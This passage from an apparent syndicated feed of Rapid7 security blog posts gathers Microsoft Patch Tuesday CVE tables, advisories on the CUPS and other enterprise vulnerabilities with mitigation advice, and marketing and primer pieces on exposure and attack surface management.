CVE-2024-43547 Windows Kerberos Information Disclosure Vulnerability No No 6.5
CVE-2024-43534 Windows Graphics Component Information Disclosure Vulnerability No No 6.5
CVE-2024-43570 Windows Kernel Elevation of Privilege Vulnerability No No 6.4
CVE-2024-43513 BitLocker Security Feature Bypass Vulnerability No No 6.4
CVE-2024-43520 Windows Kernel Denial of Service Vulnerability No No 5
CVE-2024-43456 Windows Remote Desktop Services Tampering Vulnerability No No 4.8

Mariner Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-6197 Open Source Curl Remote Code Execution Vulnerability No Yes 8.8

Microsoft Office vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-43503 Microsoft SharePoint Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43505 Microsoft Office Visio Remote Code Execution Vulnerability No No 7.8
CVE-2024-43576 Microsoft Office Remote Code Execution Vulnerability No No 7.8
CVE-2024-43616 Microsoft Office Remote Code Execution Vulnerability No No 7.8
CVE-2024-43504 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2024-43609 Microsoft Office Spoofing Vulnerability No No 6.5

SQL Server vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-43612 Power BI Report Server Spoofing Vulnerability No No 6.9
CVE-2024-43481 Power BI Report Server Spoofing Vulnerability No No 6.5

System Center vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-43468 Microsoft Configuration Manager Remote Code Execution Vulnerability No No 9.8
CVE-2024-43614 Microsoft Defender for Endpoint for Linux Spoofing Vulnerability No No 5.5

Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-43533 Remote Desktop Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-43574 Microsoft Speech Application Programming Interface (SAPI) Remote Code Execution Vulnerability No No 8.3
CVE-2024-43582 Remote Desktop Protocol Server Remote Code Execution Vulnerability No No 8.1
CVE-2024-30092 Windows Hyper-V Remote Code Execution Vulnerability No No 8
CVE-2024-43551 Windows Storage Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43516 Windows Secure Kernel Mode Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43528 Windows Secure Kernel Mode Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43527 Windows Kernel Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43584 Windows Scripting Engine Security Feature Bypass Vulnerability No No 7.7
CVE-2024-43562 Windows Network Address Translation (NAT) Denial of Service Vulnerability No No 7.5
CVE-2024-43565 Windows Network Address Translation (NAT) Denial of Service Vulnerability No No 7.5
CVE-2024-38129 Windows Kerberos Elevation of Privilege Vulnerability No No 7.5
CVE-2024-43575 Windows Hyper-V Denial of Service Vulnerability No No 7.5
CVE-2024-38029 Microsoft OpenSSH for Windows Remote Code Execution Vulnerability No No 7.5
CVE-2024-43552 Windows Shell Remote Code Execution Vulnerability No No 7.3
CVE-2024-43529 Windows Print Spooler Elevation of Privilege Vulnerability No No 7.3
CVE-2024-43502 Windows Kernel Elevation of Privilege Vulnerability No No 7.1
CVE-2024-20659 Windows Hyper-V Security Feature Bypass Vulnerability No Yes 7.1
CVE-2024-43581 Microsoft OpenSSH for Windows Remote Code Execution Vulnerability No No 7.1
CVE-2024-43615 Microsoft OpenSSH for Windows Remote Code Execution Vulnerability No No 7.1
CVE-2024-43522 Windows Local Security Authority (LSA) Elevation of Privilege Vulnerability No No 7
CVE-2024-43511 Windows Kernel Elevation of Privilege Vulnerability No No 7
CVE-2024-43525 Windows Mobile Broadband Driver Remote Code Execution Vulnerability No No 6.8
CVE-2024-43526 Windows Mobile Broadband Driver Remote Code Execution Vulnerability No No 6.8
CVE-2024-43543 Windows Mobile Broadband Driver Remote Code Execution Vulnerability No No 6.8
CVE-2024-43523 Windows Mobile Broadband Driver Remote Code Execution Vulnerability No No 6.8
CVE-2024-43524 Windows Mobile Broadband Driver Remote Code Execution Vulnerability No No 6.8
CVE-2024-43536 Windows Mobile Broadband Driver Remote Code Execution Vulnerability No No 6.8
CVE-2024-43537 Windows Mobile Broadband Driver Denial of Service Vulnerability No No 6.5
CVE-2024-43538 Windows Mobile Broadband Driver Denial of Service Vulnerability No No 6.5
CVE-2024-43540 Windows Mobile Broadband Driver Denial of Service Vulnerability No No 6.5
CVE-2024-43542 Windows Mobile Broadband Driver Denial of Service Vulnerability No No 6.5
CVE-2024-43555 Windows Mobile Broadband Driver Denial of Service Vulnerability No No 6.5
CVE-2024-43557 Windows Mobile Broadband Driver Denial of Service Vulnerability No No 6.5
CVE-2024-43558 Windows Mobile Broadband Driver Denial of Service Vulnerability No No 6.5
CVE-2024-43559 Windows Mobile Broadband Driver Denial of Service Vulnerability No No 6.5
CVE-2024-43561 Windows Mobile Broadband Driver Denial of Service Vulnerability No No 6.5
CVE-2024-43546 Windows Cryptographic Information Disclosure Vulnerability No No 5.6
CVE-2024-43571 Sudo for Windows Spoofing Vulnerability No No 5.6
CVE-2024-43500 Windows Resilient File System (ReFS) Information Disclosure Vulnerability No No 5.5
CVE-2024-43554 Windows Kernel-Mode Driver Information Disclosure Vulnerability No No 5.5
CVE-2024-43508 Windows Graphics Component Information Disclosure Vulnerability No No 5.5
CVE-2024-43585 Code Integrity Guard Security Feature Bypass Vulnerability No No 5.5

Modernizing Your VM Program with Rapid7 Exposure Command: A Path to Effective Continuous Threat Exposure Management

Post Syndicated from Ryan Blanchard original https://blog.rapid7.com/2024/10/03/modernizing-your-vm-program-with-rapid7-exposure-command-a-path-to-effective-continuous-threat-exposure-management/

Modernizing Your VM Program with Rapid7 Exposure Command: A Path to Effective Continuous Threat Exposure Management

In today’s threat landscape, where cyber-attacks are increasingly sophisticated and pervasive, organizations face the daunting challenge of securing a constantly expanding attack surface. Traditional vulnerability management (VM) programs, while necessary, are no longer sufficient on their own. They often struggle to keep pace with the dynamic nature of threats and the complexity of modern IT environments.

This is where continuous threat exposure management (CTEM) comes into play – an approach that shifts the focus from merely identifying vulnerabilities to understanding and mitigating exposures across the entire attack surface.

Implementing a continuous threat and exposure management process

CTEM is a term originally coined by Gartner, who defined it as, “a five-stage approach that continuously exposes an organization’s networks, systems, and assets to simulated attacks to identify vulnerabilities and weaknesses.”

The five stages of CTEM as defined by Gartner are:

Modernizing Your VM Program with Rapid7 Exposure Command: A Path to Effective Continuous Threat Exposure Management
  • Scoping: This involves understanding the full threat landscape by incorporating tools like external attack surface management (EASM) and network scanning. However, it emphasizes the need to think in terms of business context, focusing on crown jewels, critical applications, and understanding what matters most to the organization.
  • Discovery: This stage focuses on discovering assets and profiling the associated risks. It requires visibility into both cloud and on-premises environments and extends beyond identifying vulnerabilities to include coverage gaps, misconfigurations, and other security risks.
  • Prioritization: Since not all risks can be addressed simultaneously, this phase involves prioritizing issues based on a combination of factors like severity, exploitability, and potential business impact, to determine what should be tackled first.
  • Validation: This stage emphasizes investing in tools that help validate security controls and map potential attack paths. It includes the use of breach and attack simulation (BAS) tools, continuous assessment services, controls monitoring, and attack path mapping to test the effectiveness of existing defenses.
  • Mobilization: The final stage is about taking action. It includes both automation of responses and fostering cross-organizational alignment to ensure that remediation efforts are executed effectively and in sync with business priorities.

This framework helps organizations continuously manage and reduce their exposure to threats in a way that is strategic and aligned to the business.

The role of exposure assessment platforms (EAPs) in CTEM

Exposure assessment platforms (EAPs) are essential to a successful CTEM program. They continuously identify and prioritize exposures, such as vulnerabilities and misconfigurations, across a broad range of asset classes. By consolidating and contextualizing data from various sources, EAPs provide a more comprehensive view of an organization’s risk landscape. This enables security teams to prioritize remediation efforts based on factors such as asset criticality, business impact, and the likelihood of exploitation.

Gartner’s insights into EAPs underscore their importance in modern cybersecurity strategies. By delivering a centralized view of high-risk exposures, EAPs empower organizations to take decisive actions to prevent breaches. They also enhance operational efficiency by offering a unified dashboard that tracks the lifecycle of vulnerabilities and other exposures.

How Rapid7 Exposure Command supports modern vulnerability management programs

Exposure Command is designed to bridge the security-visibility gap many organizations face. By integrating the capabilities of an EAP into a comprehensive security platform, Exposure Command enables organizations to modernize their VM programs and align them with the principles of CTEM.

Exposure Command can help organizations achieve this transformation in a few ways:

  • Consolidated view of exposures from the inside out and outside in: Exposure Command provides a single, consolidated view of all assets and identified exposures from an internal and external perspective, including vulnerabilities, misconfigurations, and other risk signals. This unified view reduces the overhead associated with managing multiple tools and platforms, enabling security teams to focus on what matters most: mitigating the most critical threats.
  • Vendor-agnostic approach: As organizations adopt a CTEM approach, they require tools that can evaluate a wide range of exposure telemetry, including security control configurations. Exposure Command excels in this area by leveraging data from existing endpoint and network investments to create a more accurate, situational picture of the organization’s risk landscape. This holistic view is crucial for making informed decisions about where to focus remediation efforts.
  • Contextualized risk prioritization: Traditional VM programs often rely on CVSS scores to prioritize vulnerabilities, which can lead to misaligned efforts. Exposure Command, however, incorporates threat intelligence, asset criticality, and business impact into its risk-prioritization algorithms. This results in a more accurate and actionable understanding of which exposures pose the greatest risk to the organization.
  • Identify exploitability and potential for lateral movement: Exposure Command provides the contextual asset enrichment that enables effective threat detection, investigation, and response. The platform showcases how an attacker might exploit vulnerabilities and provides guidance on how to prevent such incidents.
  • Automated response workflows and deep ecosystem integration: One of the key benefits of Exposure Command is its ability to automate and streamline workflows. By integrating with existing security tools and platforms, Exposure Command can automatically ingest and analyze exposure data, reducing the manual effort required to maintain a VM program. This automation not only improves efficiency but also ensures security teams have access to the most up-to-date information. More and more we’re running into non-patchable systems too, and this deep integration and ability to provide bi-directional workflows enables more effective mobilization across teams, giving actionable feedback to those around the organization who have the ability to execute the necessary remediation actions.

While the benefits of Exposure Command are clear, it’s important to recognize that its effectiveness is tied to the maturity of the organization’s CTEM processes. If these processes are broken or immature, the value of Exposure Command may be limited. However, by adopting an outcome-driven approach that scopes the most critical aspects of the business and correlates asset context with dynamic risk ratings, organizations can maximize the benefits of Exposure Command.

Furthermore, the platform’s ability to integrate with a wide range of tools ensures it can enhance existing security programs, rather than requiring a complete overhaul. This makes it an ideal solution for organizations looking to modernize their VM programs and adopt a more proactive approach to threat management. As you look to strengthen your organization’s cybersecurity posture, consider how Rapid7 Exposure Command can help you bridge the security visibility gap and take a more proactive approach to managing your threat landscape.

Multiple Vulnerabilities in Common Unix Printing System (CUPS)

Post Syndicated from Rapid7 original https://blog.rapid7.com/2024/09/26/etr-multiple-vulnerabilities-in-common-unix-printing-system-cups/

Multiple Vulnerabilities in Common Unix Printing System (CUPS)

On Thursday, September 26, 2024, a security researcher publicly disclosed several vulnerabilities affecting different components of OpenPrinting’s CUPS (Common Unix Printing System). CUPS is a popular IPP-based open-source printing system primarily (but not only) for Linux and UNIX-like operating systems. According to the researcher, a successful exploit chain allows remote unauthenticated attackers to replace existing printers’ IPP URLs with malicious URLs, resulting in arbitrary command execution when a print job is started from the target device.

The vulnerabilities disclosed by the researcher are:

  • CVE-2024-47176: Affects cups-browsed <= 2.0.1. The service binds on UDP *:631, trusting any packet from any source to trigger a Get-Printer-Attributes IPP request to an attacker-controlled URL.
  • CVE-2024-47076: Affects libcupsfilters <= 2.1b1. cfGetPrinterAttributes5 does not validate or sanitize the IPP attributes returned from an IPP server, providing attacker-controlled data to the rest of the CUPS system.
  • CVE-2024-47175: Affects libppd <= 2.1b1. The ppdCreatePPDFromIPP2 API does not validate or sanitize the IPP attributes when writing them to a temporary PPD file, allowing the injection of attacker-controlled data in the resulting PPD.
  • CVE-2024-47177: Affects cups-filters <= 2.0.1. The foomatic-rip filter allows arbitrary command execution via the FoomaticRIPCommandLine PPD parameter.

According to the researcher’s disclosure blog, affected systems are exploitable from the public internet, or across network segments, if UDP port 631 is exposed and the vulnerable service is listening. CUPS is enabled by default on most popular Linux distributions, but exploitability may vary across implementations. As of 6 PM ET on Thursday, September 26, Red Hat has an advisory available noting that they consider this group of vulnerabilities of Important severity rather than Critical.

Mitigation guidance

We expect patches and remediation guidance to be forthcoming from affected vendors and distributions over the next few days. While the vulnerabilities are not known to be exploited in the wild at time of disclosure, technical details were leaked before the issues were released publicly, which may mean attackers and researchers have had opportunity to develop exploit code. We advise applying patches and/or mitigations as soon as they are available as a precaution, even if exploitability is more limited in some implementations.

Additional mitigation guidance:

  • Disable and remove the cups-browsed service if it is not necessary
  • Block or restrict traffic to UDP port 631

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to these CVEs with authenticated checks that look for affected CUPS packages on UNIX-based systems. These checks are expected to be released in a second content release this evening (ETA 10 PM ET on Thursday, September 26).

We expect to update with additional checks in the coming days as vendors release fixes and more information.

High-risk vulnerabilities in common enterprise technologies

Post Syndicated from Rapid7 original https://blog.rapid7.com/2024/09/19/etr-high-risk-vulnerabilities-in-common-enterprise-technologies/

High-risk vulnerabilities in common enterprise technologies

Rapid7 is warning customers about several high-risk vulnerabilities in common enterprise technologies that are attractive potential attack targets for both state-sponsored and financially motivated adversaries. We are advising customers to prioritize remediation for these issues on an expedited basis wherever possible:

  • CVE-2024-41874: Critical remote code execution vulnerability in Adobe ColdFusion
  • CVE-2024-38812, CVE-2024-38813: Remote code execution and privilege escalation vulnerabilities (respectively) in Broadcom VMware vCenter Server and Cloud Foundation
  • CVE-2024-29847: Critical remote code execution (via deserialization) vulnerability in Ivanti Endpoint Manager (EPM)

Adobe ColdFusion CVE-2024-41874

On September 10, 2024, Adobe published a critical advisory for CVE-2024-41874, an unauthenticated remote code execution issue that occurs as a result of unsafe Web Distributed Data eXchange (“Wddx”) packet deserialization. Rapid7 MDR has previously observed exploitation that targets Wddx for remote code execution; we have also previously observed exploitation of multiple other ColdFusion CVEs.

Affected products and mitigation: Adobe ColdFusion 2023 (update 9 and earlier) and Adobe ColdFusion 2021 (update 15 and earlier) are vulnerable to CVE-2024-41874. The vulnerability is resolved in versions 10 and 16, respectively. For more information, see the vendor advisory.

Broadcom VMware vCenter Server CVEs

On September 17, 2024, Broadcom published an advisory on CVE-2024-38812, a critical heap overflow vulnerability affecting VMware vCenter Server. Successful exploitation of CVE-2024-38812 allows an attacker with network access to the vulnerable server to execute code remotely on the target system. CVE-2024-38813, a local privilege escalation vulnerability, was also reported by the same researchers, making this a full-chain exploit. We are not aware of exploitation in the wild as of September 19, 2024, but vCenter Server is a high-value attack target for ransomware and extortion groups.

Affected products and mitigation: Broadcom VMware vCenter Server 7.0 and 8.0 are vulnerable to CVE-2024-38812 and CVE-2024-38813. Fixes are available as indicated in the vendor advisory. Broadcom also has an FAQ available.

Ivanti Endpoint Manager CVE-2024-29847

On September 10, 2024, Ivanti published a security advisory on CVE-2024-29847, an unsafe deserialization vulnerability in Ivanti Endpoint Manager (EPM) solution. Successful exploitation allows unauthenticated attackers to execute code remotely on target systems. Vulnerability details and proof-of-concept exploit code are available.

Affected products and mitigation: Ivanti Endpoint Manager (EPM) 2022 SU5 (and earlier) and EPM 2024 are vulnerable to CVE-2024-29847. Customers using EPM 2022 can remediate this and other recent vulnerabilities by updating to 2022 SU 6. Per Ivanti’s security advisory, EPM 2024 customers can apply an available security patch while waiting for 2024 SU1, which is yet to be released. See Ivanti’s advisory for the latest information.

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to Adobe ColdFusion CVE-2024-41874 and Broadcom VMware vCenter Server CVE-2024-28812 and CVE-2024-38813 with vulnerability checks released previously. A vulnerability check for Ivanti EPM CVE-2024-29847 is in development and is expected to be available in tomorrow’s (Friday, September 20) content release.

Help, I can’t see! A Primer for Attack Surface Management Blog Series

Post Syndicated from Jon Schipp original https://blog.rapid7.com/2024/09/19/help-i-cant-see-a-primer-for-attack-surface-management-blog-series/

Part 1: Overview of the Problem ASM Solves and a High-Level Description of ASM and Its Components

Help, I can’t see! A Primer for Attack Surface Management Blog Series

Welcome to the first installment of our multipart series, “Help! I Can’t See! A Primer for Attack Surface Management Blog Series.” In this series, we will explore the critical challenges and solutions associated with Attack Surface Management (ASM), a vital aspect of modern cybersecurity strategy. This initial blog, titled “Overview of the Problem ASM Solves and a High-Level Description of ASM and Its Components,” sets the stage by examining the growing difficulties organizations face in managing their digital environments and how ASM can help address these issues effectively.

The fast paced evolution of digital infrastructure that is driving businesses forward (e.g. workstations, virtual machines, containers, edge) is also making it more difficult for organizations to keep track of and account for the cyber attack surface they’re responsible for protecting. Despite security teams continuing to invest exorbitant amounts of money on tools (VM, EDR, CNAPP, etc.) to both manage their digital environment and also secure it, the problem isn’t getting any better. In this 3-part blog series  we will help demystify the problems of security data silos and tool sprawl so you can answer pertinent questions like

  • How many assets and identities am I responsible for protecting?
  • How many assets and identities are lacking security controls like endpoint security or MFA?
  • What is my overall security posture?

When we look at the number and types of tools organizations spend money on to manage and secure their digital environment, we typically see things like vulnerability scanners, endpoint security, IdP, patching, IT asset management, Cloud Service Providers, and more.  Each of these tools and technologies tend to do a pretty good job at their core function but unintentionally contribute to a fractured ecosystem that provides organizations with contradictory information about their digital environment.

Help, I can’t see! A Primer for Attack Surface Management Blog Series

The age old problem: How many assets do I have?

Let’s look at a real-world example of this where an organization has solutions for Vulnerability Management (VM), Cloud Security Posture Management (CSPM), Endpoint Security (EDR/EPP), Active Directory (Directory Services) and IT Asset Management( ITAM).

Help, I can’t see! A Primer for Attack Surface Management Blog Series

None of these tools can agree on the number of assets in the environment. It’s practically  impossible to achieve 100% deployment of agent-based tools across your business (some types of assets cannot have agents!). It then becomes a real challenge to see across these tooling visibility gaps. The result is that we cannot answer the basic question of “How many assets am I responsible for protecting”.

This fact is compounded because if we can’t agree on the total number of assets, then we don’t know the number of controls in place, the number of vulnerabilities and exposures that exist, and the number of active threats in our environment. Teams that manage and secure organizations are relying upon incorrect information in an environment where prioritization and decision making needs to be based on high-fidelity information that incorporates IT, security, and business context to lead to the best outcomes.

To drill down on  these points, let’s pick on a few tools from the infographic for illustrative purposes. Wiz will only see assets in the cloud, Active Directory only sees assets (mostly Windows) tied to the Domain Controller, and traditional vulnerability scanners see across hybrid environments but tend to be mostly deployed on-premise. If you hone in on the numbers in the Asset column you will immediately notice that none of these tools agree on the number of assets in the environment. Lacking visibility and confidence in your attack surface is a big data problem, and deploying the latest shiny security tool is not going to fix it.

Ultimately, we have an industry created data problem that Rapid7 is not immune to. For a number of perfectly good reasons, we have created a fractured technology ecosystem that is preventing security teams from having the best data available to determine their cyber risk and enabling them to prioritize the most effective remediation and response.

We need to see across the gaps that truly matter; for that we need Attack Surface Management.

What is Attack Surface Management?

Attack Surface Management (ASM) is generally part of a wider Exposure Management program and  is a different way to think about cyber risk by focusing on addressing the digital parts of the business that are most vulnerable to attack. Taking an attack surface-based approach to your security program needs to consider a number of different elements including:

  • Discovery and inventory of all cyber assets in the organization, from the endpoint to the cloud
  • Internet-scanning to identify unknown exposures and map them to the existing asset inventory
  • High-fidelity visibility and insights into the IT, security, and business context of those assets
  • Relationship-mapping between the assets and the wider network and business infrastructure

ASM is a continuous process that is constantly assessing the state of the attack surface by uncovering new or updated assets, identifying the use of shadow IT in network or cloud use cases and prioritizing exposures based on their potential risk to the business. These elements of discovery and prioritization are foundational elements of a Continuous Threat Exposure Management (CTEM) initiative, where security teams are taking a more holistic approach to managing all types of exposures in their organizations.

A positive trend that we are currently seeing is that security teams are going back to basics and focusing on cyber asset management to first discover and understand the assets they’re responsible for protecting, along with their business function.

They gain visibility into the assets through a combination of external scanning to identify internet-facing assets which are potentially higher risk, this is known as External Attack Surface Management (EASM). A  complementary approach to cyber asset discovery  that provides greater insights into the whole cyber estate uses API-based integrations into existing IT management and security tools to ingest asset data; this is known as Cyber Asset Attack Surface Management (CAASM). Together, they provide organizations with the asset visibility they need to drive security decisions.

Put simply, you cannot secure what you can’t see. Managing the attack surface requires asset discovery and visibility, combined with rich context from all tools in the environment.

Attack Surface Management vs. Asset Inventory

There is a common confusion with customers today that they already have elements of an ASM strategy with their current approach to asset inventory. This is typically based on an asset inventory system that IT is using for asset lifecycle management. A traditional asset inventory’s view of the environment is almost entirely based on what it is able to discover on its own, and with an IT focus. These are often agent-based,  with limited integrations, so they are not able to take advantage of an organization’s wide range of tools, which impairs their value.

Many asset inventories today can only discover assets where they have a deployed agent, such as an endpoint agent or being tied to the domain controller. While these technologies are effective at making policy and configuration changes on their fleet of endpoints, they do not have a data aggregation and correlation engine that sees beyond the specific agent. Additionally, they have limited security insights and context, and are only able to provide a partial view of the attack surface, assuming that no agent has 100% coverage.

This is not the reality in most organizations, and it’s why one should not confuse Asset Inventories with Attack Surface Management, the latter being a much more effective approach to surfacing the best asset and security telemetry across your ecosystem. An Attack Surface Management solution will ingest data from an IT Asset Inventory or Management tool as one of many data sources to collate.

The next blog in this series will look at the different components of an ASM program, and how they can be leveraged to improve security hygiene and reduce cyber risk.

Help, I can’t see! A Primer for Attack Surface Management Blog Series

Patch Tuesday – September 2024

Post Syndicated from Adam Barnett original https://blog.rapid7.com/2024/09/10/patch-tuesday-september-2024/

Patch Tuesday - September 2024

Microsoft is addressing 79 vulnerabilities this September 2024 Patch Tuesday. Microsoft has evidence of in-the-wild exploitation and/or public disclosure for four of the vulnerabilities published today; at time of writing, all four are listed on CISA KEV. Microsoft is also patching four critical remote code execution (RCE) vulnerabilities today. Unusually, Microsoft has not patched any browser vulnerabilities yet this month.

Servicing Stack: Windows 10 1507 rollback zero-day RCE

At first glance, the most concerning of today’s exploited-in-the-wild vulnerabilities is CVE-2024-43491, which describes a pre-auth RCE vulnerability caused by a regression in the Windows Servicing Stack that has rolled back fixes for a number of previous vulnerabilities affecting optional components.

The CVSSv3.1 base score is 9.8, which is typically not good news. However, things aren’t quite as bad as they seem: the key takeaway here is that only Windows 10, version 1507 (Windows 10 Enterprise 2015 LTSB and Windows 10 IoT Enterprise 2015 LTSB) is affected. Also, Microsoft notes that while at least some of the accidentally unpatched vulnerabilities were known to be exploited, they haven’t seen in-the-wild exploitation of CVE-2024-43491 itself, and the defect was discovered by Microsoft. All in all, while there are certainly more than a few organizations out there still running Windows 10 1507, most admins can breathe a sigh of relief on this one, and then go back to worrying about everything else.

The Servicing Stack regression described by CVE-2024-43491 was introduced in the March 2024 patches. Those nostalgic few still running Windows 10 1507 should note that patches are required for both Servicing Stack and the regular Windows OS patch released today, and must be applied in that order. Microsoft does not specify which vulnerabilities were accidentally unpatched back in March, although there is a significant list of affected optional components at the end of the FAQ, so potentially the set of vulnerabilities in play is quite long. Given time, an enthusiastic data miner could no doubt come up with a list of likely suspects.

Microsoft does also provide a high-level explanation of what went wrong: the build number of the March 2024 security patch for 1507 triggered a latent code defect in the Servicing Stack, and any optional component which was updated during this time was downgraded to the RTM version. This might sound eerily similar to the Windows OS downgrade attacks disclosed at Black Hat USA 2024 last month, but there’s not obviously any substantial connection between the two. It’s quite likely that someone at Microsoft HQ is carefully reviewing other Windows versions for similar version range-based flaws in the Servicing Stack.

Mark-of-the-Web: zero-day “LNK stomping” security feature bypass

The Mark-of-the-Web (MotW) security feature bypass CVE-2024-38217 is not only known to be exploited, but is also publicly disclosed via an extensive write-up which names the technique “LNK stomping” and highlights that exploitation will typically involve explorer.exe overwriting an existing LNK file. The write-up also links to exploit code on GitHub. Beyond that, the discoverer points to VirusTotal samples going back as far as 2018 to make the case that this has been abused for a very long time indeed.

As is generally the case with MotW bypass vulnerabilities, exploitation occurs when a user downloads and opens a specially-crafted malicious file, which could then bypass the SmartScreen Application Reputation security check and/or the legacy Windows Attachment Services security prompt.

Windows Installer: zero-day EoP

Next up in today’s foursome of exploited-in-the-wild vulnerabilities is CVE-2024-38014: an elevation of privilege vulnerability in Windows Installer. The middling CVSSv3.1 base score of 7.8 lines up with Microsoft’s severity assessment of Important rather than Critical. Exploitation grants code execution as SYSTEM, and although the attack vector is local, this might be at least slightly attractive to malware authors, since both attack complexity and privilege requirements are low, and no user interaction is required.

In this case, CWE-269: Improper Privilege Management presumably describes a means of causing the Windows Installer to be over-generous with the privileged access it requires to install software and configure the OS. All current versions of Windows receive a fix, as well as Server 2008, which Microsoft persists in patching from time to time out of the goodness of its heart, even if the end of official support was almost a year ago now.

Microsoft Publisher: zero-day macro policy bypass

It’s been a little while since we talked about Microsoft Publisher, so today’s publication of CVE-2024-38226 — a local security feature bypass for Office macro policy — gives us a chance to do that. The Preview Pane is not involved, and the description of exploit methodology in the FAQ is welcome, but somewhat unusual: an attacker must not only convince a user to download and open a malicious file, but the attacker must also be authenticated on the system itself, although the FAQ does not explain further.

Moving past those vulnerabilities which are known to be exploited or disclosed already, we see three critical RCE vulns: two in SharePoint, and one in the Windows NAT implementation.

SharePoint: two critical RCEs

Network-vector exploitation of SharePoint RCE CVE-2024-38018 requires that an attacker have Site Member permissions already, but since those aren’t exactly the crown jewels, attack complexity is low, and no user interaction is required, Microsoft very reasonably rates this as Critical on its own proprietary severity scale, and expects that exploitation is more likely.

The second SharePoint critical RCE patched this month is CVE-2024-43464, which describes a deserialization of untrusted data leading to code execution in the context of the SharePoint Server via specially-crafted API calls after uploading a malicious file; one mitigating factor is that the attacker must already have Site Owner permissions or better. This all sounds very similar to CVE-2024-30044, which Rapid7 wrote about back in May 2024.

Windows NAT: critical RCE

Rounding out this month’s critical RCE vulnerabilities is CVE-2024-38119, which describes a use after free flaw in the Windows NAT implementation. Attack vector is listed as adjacent, so an attacker would need an existing foothold on the same network as the target asset before winning a race condition, which bumps up the attack complexity to high. Even though this looks to be pre-auth RCE, Microsoft lists exploitation as less likely. For reasons unknown, Server 2012/2012 R2 does not receive a patch, although all newer supported versions of Windows do.

Exchange: nothing, still?

After a busy couple of months back in March and April 2024, it’s been all quiet on the Exchange front for quite some time, and this month extends that curiously lucky streak.

Microsoft lifecycle update

There are no significant changes to Microsoft product lifecycle during September 2024, although  anyone responsible for Azure Database for MySQL – Single Server has until the sunset date of 2024-09-16 to migrate to a supported service to avoid involuntary forced-migration and server unavailability.

As Rapid7 noted last month, Visual Studio for Mac received its last ever patches on 2024-08-31. Also on 2024-08-31, a number of legacy Azure services reached retirement, including Azure Cache for Redis on Cloud Services (Classic).

October will see significant lifecycle changes for Windows 11: release end date for the 21H2 versions of Windows 11 Enterprise and Education, as well as release end date for 22H2 versions for other Windows 11 editions. Fans of legacy software will already know that Server 2012 and 2012 R2 move into year two of the cash-for-updates Extended Security Update program in October.

Summary charts

Patch Tuesday - September 2024
Patch Tuesday - September 2024
Patch Tuesday - September 2024

Summary tables

Azure vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-38220 Azure Stack Hub Elevation of Privilege Vulnerability No No 9
CVE-2024-43469 Azure CycleCloud Remote Code Execution Vulnerability No No 8.8
CVE-2024-38194 Azure Web Apps Elevation of Privilege Vulnerability No No 8.4
CVE-2024-38216 Azure Stack Hub Elevation of Privilege Vulnerability No No 8.2
CVE-2024-43470 Azure Network Watcher VM Agent Elevation of Privilege Vulnerability No No 7.3
CVE-2024-38188 Azure Network Watcher VM Agent Elevation of Privilege Vulnerability No No 7.1

ESU vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-43475 Microsoft Windows Admin Center Information Disclosure Vulnerability No No 7.3

ESU Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-43455 Windows Remote Desktop Licensing Service Spoofing Vulnerability No No 8.8
CVE-2024-38260 Windows Remote Desktop Licensing Service Remote Code Execution Vulnerability No No 8.8
CVE-2024-43461 Windows MSHTML Platform Spoofing Vulnerability No No 8.8
CVE-2024-38240 Windows Remote Access Connection Manager Elevation of Privilege Vulnerability No No 8.1
CVE-2024-30073 Windows Security Zone Mapping Security Feature Bypass Vulnerability No No 7.8
CVE-2024-38014 Windows Installer Elevation of Privilege Vulnerability Yes No 7.8
CVE-2024-38249 Windows Graphics Component Elevation of Privilege Vulnerability No No 7.8
CVE-2024-38247 Windows Graphics Component Elevation of Privilege Vulnerability No No 7.8
CVE-2024-38245 Kernel Streaming Service Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43467 Windows Remote Desktop Licensing Service Remote Code Execution Vulnerability No No 7.5
CVE-2024-38263 Windows Remote Desktop Licensing Service Remote Code Execution Vulnerability No No 7.5
CVE-2024-38236 DHCP Server Service Denial of Service Vulnerability No No 7.5
CVE-2024-38239 Windows Kerberos Elevation of Privilege Vulnerability No No 7.2
CVE-2024-43454 Windows Remote Desktop Licensing Service Remote Code Execution Vulnerability No No 7.1
CVE-2024-38230 Windows Standards-Based Storage Management Service Denial of Service Vulnerability No No 6.5
CVE-2024-38258 Windows Remote Desktop Licensing Service Information Disclosure Vulnerability No No 6.5
CVE-2024-38231 Windows Remote Desktop Licensing Service Denial of Service Vulnerability No No 6.5
CVE-2024-38234 Windows Networking Denial of Service Vulnerability No No 6.5
CVE-2024-43487 Windows Mark of the Web Security Feature Bypass Vulnerability No No 6.5
CVE-2024-38256 Windows Kernel-Mode Driver Information Disclosure Vulnerability No No 5.5
CVE-2024-38217 Windows Mark of the Web Security Feature Bypass Vulnerability Yes Yes 5.4

ESU Windows Microsoft Office vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-38250 Windows Graphics Component Elevation of Privilege Vulnerability No No 7.8

Microsoft Dynamics vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-38225 Microsoft Dynamics 365 Business Central Elevation of Privilege Vulnerability No No 8.8
CVE-2024-43479 Microsoft Power Automate Desktop Remote Code Execution Vulnerability No No 8.5
CVE-2024-43476 Microsoft Dynamics 365 (on-premises) Cross-site Scripting Vulnerability No No 7.6

Microsoft Office vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-38018 Microsoft SharePoint Server Remote Code Execution Vulnerability No No 8.8
CVE-2024-43463 Microsoft Office Visio Remote Code Execution Vulnerability No No 7.8
